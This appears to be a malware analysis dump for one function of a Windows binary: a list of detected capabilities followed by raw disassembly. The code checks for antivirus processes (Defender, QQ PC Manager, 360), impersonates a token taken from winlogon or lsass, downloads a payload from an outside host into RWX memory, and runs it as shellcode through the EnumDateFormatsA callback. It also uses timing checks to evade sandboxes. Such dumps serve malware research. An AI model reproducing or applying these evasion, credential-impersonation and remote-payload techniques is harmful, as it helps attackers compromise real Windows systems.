Function at 0x1400c303b
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create http request
Enumerate gui resources
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
jmp 0x1400d8e50
jmp 0x1400db690
jmp 0x14010e500
push rbx
sub rsp, 0x30
mov rax, qword [0x1402a1ff8]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, [0x1402c0059]
call fcn.1400c2c3a
lea rcx, str.MsMpEng.exe
mov qword [rsp + 0x20], 0
call fcn.1400c0a07
lea rcx, str.QQPCRTP.exe
mov ebx, eax
call fcn.1400c0a07
test ebx, ebx
jne 0x1400d8e9c
test eax, eax
je 0x1400d8eec
lea rdx, [rsp + 0x20]
lea rcx, str.winlogon.exe
call fcn.1400be8e7
test eax, eax
je 0x1400d8eec
lea rdx, [rsp + 0x20]
lea rcx, str.lsass.exe
call fcn.1400be8e7
test eax, eax
je 0x1400d8eec
mov rcx, qword [rsp + 0x20]
call fcn.1400bd99c
mov qword [rsp + 0x20], rax
test rax, rax
je 0x1400d8eec
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x1400d8eec
call fcn.1400c16e6
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400bfc6a
add rsp, 0x30
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1402a1ff8]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, [0x1402c0059]
call fcn.1400c2c3a
xor edi, edi
lea rcx, str.54as3
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x28], rdi
lea rdx, str.http:__xingpai.weilay.com.cn_llq.rar
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x34]
mov dword [rsp + 0x34], 4
mov rcx, rax
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rbx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [rsp + 0x30]
call fcn.1400bf869
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x38]
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x30]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x30]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.1400bfc83
xor r8d, r8d
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400bfc6a
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x78
lea rcx, [0x1402c0059]
call fcn.1400c2c3a
lea rcx, str.360Tray.exe
call fcn.1400c0a07
test eax, eax
jle 0x14010e816
mov qword [rsp + 0x80], rbx
lea rdx, str.360Tray.exe
mov qword [rsp + 0x88], rsi
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rdi
call fcn.1400bea6d
mov rdx, rax
lea rcx, [0x1402a4a88]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea rdx, str.360Safe.exe
lea rcx, [rsp + 0x20]
call fcn.1400bea6d
mov rdx, rax
lea rcx, [0x1402a4a10]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea rcx, [rsp + 0x20]
call fcn.1400bfb6b
mov rdx, rax
lea rcx, [0x1402a4a38]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea r8, [0x14024f628]
lea rdx, [0x1402a4a38]
lea rcx, [rsp + 0x20]
call fcn.1400c179a
mov rdx, rax
lea rcx, [0x1402a4a60]
call fcn.1400be8c4
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
lea rdx, [0x1402a4a60]
lea rcx, [rsp + 0x20]
call fcn.1400bdbf9
lea rdx, [0x14024f640]
mov rbx, rax
lea rcx, [rsp + 0x48]
call fcn.1400bfa0d
mov rcx, rax
mov r8, rbx
mov edx, 0x68
call fcn.1400c1a60
cmp byte [0x1402a4a0c], 0
jne 0x14010e643
nop
xor edx, edx
lea rcx, [0x1400d9e00]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1402a4a0c], 0
je 0x14010e620
xor edi, edi
lea rcx, [0x14024f648]
mov ebx, edi
call fcn.1400c0a07
test eax, eax
jne 0x14010e68a
inc ebx
cmp ebx, 0x14
jl 0x14010e66f
xor edx, edx
lea rcx, [0x1400d9e00]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ebx, edi
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14024f648]
call fcn.1400c0a07
test eax, eax
je 0x14010e657
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
cmp byte [0x1402a4a0e], 0
je 0x14010e6a2
cmp edi, 0x14
jg 0x14010e6fd
cmp ebx, 0x14
jg 0x14010e6fd
lea rcx, [0x14024f648]
inc edi
call fcn.1400c1754
cmp eax, 1
jle 0x14010e6c6
lea rcx, [0x14024f648]
call fcn.1400bdabe
xor edx, edx
lea rcx, [0x1400db2a0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
inc ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0x1388
jbe 0x14010e694
lea rcx, str.Exceeded_delay_time._Exiting_loop._n
call fcn.1400bd375
lea rdx, [0x1402a4a88]
lea rcx, [rsp + 0x48]
call fcn.1400bdbf9
mov rcx, rax
call fcn.1400bed79
lea rdx, [0x14024e540]
lea rcx, [0x1402a4a10]
call fcn.1400be7ac
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
test al, al
je 0x14010e75b
lea rdx, [0x1402a4a10]
lea rcx, [rsp + 0x48]
call fcn.1400bdbf9
mov rcx, rax
call fcn.1400bed79
cmp byte [0x1402a1d2c], 0
je 0x14010e79a
nop dword [rax]
nop dword [rax + rax]
xor edx, edx
mov byte [0x1402a1d2c], 0
lea rcx, [0x1400d8a10]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1402a1d2c], 0
jne 0x14010e770
lea rcx, [0x14024f648]
call fcn.1400bdabe
lea rcx, [0x14024f648]
call fcn.1400c0a07
test eax, eax
je 0x14010e7db
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14024f648]
call fcn.1400c0a07
test eax, eax
jne 0x14010e7c0
lea r8, [0x14024f628]
lea rdx, [0x1402a4a38]
lea rcx, [rsp + 0x20]
call fcn.1400c179a
mov rcx, rax
call fcn.1400bd83e
mov rcx, rax
call fcn.1400c3388
lea rcx, [rsp + 0x20]
call fcn.1400be0e0
add rsp, 0x78
jmp 0x1400c0e8a
call 0x1400c0e8a
call fcn.1400c10a1
add rsp, 0x78
jmp 0x1400bd78f